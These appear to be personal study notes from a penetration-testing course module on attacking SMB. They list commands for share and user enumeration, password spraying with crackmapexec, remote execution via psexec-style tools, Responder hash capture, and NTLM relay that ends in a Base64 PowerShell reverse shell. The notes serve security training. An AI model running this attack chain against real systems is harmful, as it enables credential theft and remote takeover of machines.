3. Attacking SMB

When targeting windows - version information is usually not included in nmap NMAP instead attempts to guess OS version

sudo nmap 10.129.14.128 -sV -sC -p139,445

Using smbclient, we can display a list of the server's shares with the option -L, and using the option -N, we tell smbclient to use the null session.

Smbmap is another tool that helps us enumerate network shares and access associated permissions. An advantage of smbmap is that it provides a list of permissions for each shared folder.

Using smbmap with the -r or -R (recursive) option, one can browse the directories:

 smbmap -H 10.129.14.128 -r notes

Downloading

smbmap -H 10.129.14.128 --download "notes\note.txt"

Uploading

smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

rpcclient enumeration smb null session

rpcclient tool can be used with a null session to enumerate a workstation or domain controller

 rpcclient -U'%' 10.10.110.17
 [...]
 enumdomusers

Enum4linux is another utility that supports null sessions, and it utilizes nmblookup, net, rpcclient, and smbclient to automate some common enumeration from SMB targets

./enum4linux-ng.py 10.10.11.45 -A -C

If a null session is not enabled, we will need credentials to interact with the SMB protocol. Two common ways to obtain credentials are brute forcing and password spraying. careful though, brute forcing == account lockout according to password policy password spraying is great though, if we have a target list of usernames with one common password, and we can avoid account lockouts. If we know the lockout threshhold we can try more than one password.

Typically 2/3 attempts are safe, provided we wait 30-60 minutes between attempts.

crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth


Note: By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found. it is very useful for spraying a single password against a large user list. Additionally, if we are targetting a non-domain joined computer, we will need to use the option --local-auth. For a more detailed study Password Spraying see the Active Directory Enumeration & Attacks module.

Linux and Windows SMB provide different attack paths. Usually we only get access to file system. In windows the attack surface is more significant.

Windows

It works because it has a Windows service image inside of its executable. It takes this service and deploys it to the admin$ share (by default) on the remote machine. It then uses the DCE/RPC interface over SMB to access the Windows Service Control Manager API. 

Impacket psexec - python psexec-like functionality using RemComSvc https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py Impacket smbexec - similar as above, but no use of RemComSvc - instantiates a local SMB server to receive output of commands. Useful when no writeable share https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py Impacket atexec - executes command on target through Task Scheduler service https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py CME - uses smbexec/atexec https://github.com/byt3bl33d3r/CrackMapExec Metasploit Psexec - ruby implementation of psexec https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/psexec.md

NTLM forced authentication attacks

Responder usage: https://github.com/lgandx/Responder

 Responder is an LLMNR, NBT-NS, and MDNS poisoner tool with different capabilities, one of them is the possibility to set up fake services, including SMB, to steal NetNTLM v1/v2 hashes. In its default configuration, it will find LLMNR and NBT-NS traffic. Then, it will respond on behalf of the servers the victim is looking for and capture their NetNTLM hashes.

When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host's IP address by its hostname. On Windows machines, the procedure will roughly be as follows:

Suppose user mistypes share folder name \\mysharefoder\ instead of \\mysharefolder\

hashcat module to crack ntlm is 5600

If we cannot crack the hash we collect from Responder, we can potentially relay the captured hash to another machine using impacket-ntlmrelayx or Responder MultiRelay.py. Let us see an example using impacket-ntlmrelayx.

First, we need to set SMB to OFF in our responder configuration file (/etc/responder/Responder.conf).

stejwes@htb[/htb]$ cat /etc/responder/Responder.conf | grep 'SMB ='

SMB = Off

Then we execute impacket-ntlmrelayx with the option --no-http-server, -smb2support, and the target machine with the option -t. By default, impacket-ntlmrelayx will dump the SAM database, but we can execute commands by adding the option -c.

impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

We can create a PowerShell reverse shell using https://www.revshells.com/, set our machine IP address, port, and the option Powershell #3 (Base64).

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUA[.....]AZQAoACkA'